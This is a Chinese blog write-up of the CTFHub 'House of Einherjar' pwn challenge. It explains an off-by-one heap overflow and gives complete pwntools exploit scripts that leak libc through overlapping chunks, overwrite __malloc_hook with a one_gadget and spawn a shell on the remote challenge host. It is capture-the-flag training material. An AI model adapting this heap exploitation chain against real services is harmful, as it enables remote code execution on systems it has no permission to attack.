House of Einherjar

该文章详细介绍了如何利用HouseofEinherjar漏洞进行堆溢出和offbyone漏洞的利用,通过编辑和释放chunk来操纵内存,最终实现doublefree并利用malloc_hook获取shell。过程包括申请和释放特定大小的chunk,修改内存中的指针,以及泄露libc地址来定位关键函数地址。
摘要由CSDN通过智能技术生成

漏洞原因

关于漏洞的一些介绍这里就不过多讲解了,下面引用这位师傅的文章,介绍这个漏洞
House of Einherjar

下面以CTFHub 技能树的House of Einherjar来讲。

先来看题目,其他函数就不讲了,直接看edit函数

漏洞点


这里v2 = size[v1]是在scanf之前,设置的,存在堆溢出,不止一个字节。即可写入的字节为申请的最后一个chunk的大小加1。
read()这里存在,off by one 漏洞。这里主要就讲off by one 来打。

利用方法

三个chunk通过后向unlink实现double free

先把前面的代码写好

from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
#io = remote("challenge-aa33f598e4074e46.sandbox.ctfhub.com",37019)
io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.23.so")

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))


def add(idx,size):
	ru(b"Your choice: ")
	sl(b"1")
	ru(b"Give me a book ID: ")
	sl(str(idx))
	ru(b"how long: ")
	sl(str(size))

def show(idx):
	ru(b"Your choice: ")
	sl(b"2")
	ru(b"Which book do you want to show?")
	sl(str(idx))

def free(idx):
	ru(b"Your choice: ")
	sl(b"3")
	ru(b"Which one to throw?")
	sl(str(idx))

def edit(idx,data):
	ru(b"Your choice: ")
	sl(b"4")
	ru(b"Which book to write?")
	sl(str(idx))
	ru(b"Content: ")
	s(data)

先申请4个chunk,注意chunk_0和chunk_2必须是0xf0结尾,才能保证创建后为chunk的size是\x00结尾。chunk_3用来做分隔,chunk_1是来写内容的。

add(0,0xf0)
add(1,0x68)
add(2,0xf0)
add(3,0x68)

先,free掉chunk_0,再编辑chunk_1使其覆盖掉chunk_2的prev_size和prev_inuse位。最后再free掉chunk_2触发unlink合并。最后进入unsorted bins的地址是chunk_0的地址,注意这里chunk_1并没有被free,所以再申请回chunk_0,之后main_arena的地址就放在了chunk_1中。

free(0)
edit(1,p64(0)*12+p64(0x170)+p8(0))
free(2)
add(0,0xf0)

之后泄露libc地址和相关函数地址。

show(1)
ru(b"Content: ")
main_arena = uu64(r(6))
libc_base = main_arena-88-0x10-libc.sym['__malloc_hook']
malloc_hook = libc_base+libc.sym['__malloc_hook']
realloc_hook = libc_base+libc.sym["realloc"]
fake_chunk = malloc_hook-0x23
gadget = [0x45206,0x4525a,0xef9f4,0xf0897]
one_gadget = libc_base+gadget[1]
print("libc_base------------->: ",hex(libc_base))
print("fake_chunk------------->: ",hex(fake_chunk))

然后再申请一个和chunk_1一样大小的chunk_4,这时chunk_4也是指向chunk_1,因为之前unsorted bin中的大小为chunk_1+chunk_2,申请chunk_4时unsorted bin做分割吧chunk_1给chunk_4,这时有2个chunk指向同一个chunk。然后利用double free改malloc_hook的地址为one_gadget。拿到shell。

add(4,0x68)
free(4)
edit(1,p64(fake_chunk))
add(4,0x68)
add(3,0xf0)
add(5,0x68)
edit(5,b"a"*3+p64(0)+p64(one_gadget)+p64(realloc_hook+16))

add(6,0x10)

打远程的exp为

from pwn import *
from LibcSearcher import *

context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
io = remote("challenge-aa33f598e4074e46.sandbox.ctfhub.com",37019)
#io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.23_64.so")

s       = lambda data               :io.send(data)
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda delims		    :io.recvuntil(delims)
itr     = lambda                    :io.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
lg      = lambda address,data       :log.success('%s: '%(address)+hex(data))


def add(idx,size):
	ru(b"Your choice: ")
	sl(b"1")
	ru(b"Give me a book ID: ")
	sl(str(idx))
	ru(b"how long: ")
	sl(str(size))

def show(idx):
	ru(b"Your choice: ")
	sl(b"2")
	ru(b"Which book do you want to show?")
	sl(str(idx))

def free(idx):
	ru(b"Your choice: ")
	sl(b"3")
	ru(b"Which one to throw?")
	sl(str(idx))

def edit(idx,data):
	ru(b"Your choice: ")
	sl(b"4")
	ru(b"Which book to write?")
	sl(str(idx))
	ru(b"Content: ")
	s(data)

add(0,0xf0)
add(1,0x68)
add(2,0xf0)
add(3,0x68)

free(0)
edit(1,p64(0)*12+p64(0x170)+p8(0))
free(2)
add(0,0xf0)

show(1)
ru(b"Content: ")
main_arena = uu64(r(6))
libc_base = main_arena-88-0x10-libc.sym['__malloc_hook']
malloc_hook = libc_base+libc.sym['__malloc_hook']
realloc_hook = libc_base+libc.sym["realloc"]
fake_chunk = malloc_hook-0x23
gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base+gadget[1]
print("libc_base------------->: ",hex(libc_base))
print("fake_chunk------------->: ",hex(fake_chunk))

add(4,0x68)
free(4)
edit(1,p64(fake_chunk))
add(4,0x68)
add(3,0xf0)
add(5,0x68)
edit(5,b"a"*3+p64(0)+p64(one_gadget)+p64(realloc_hook+16))

add(6,0x10)


itr()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

saulgoodman-q

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值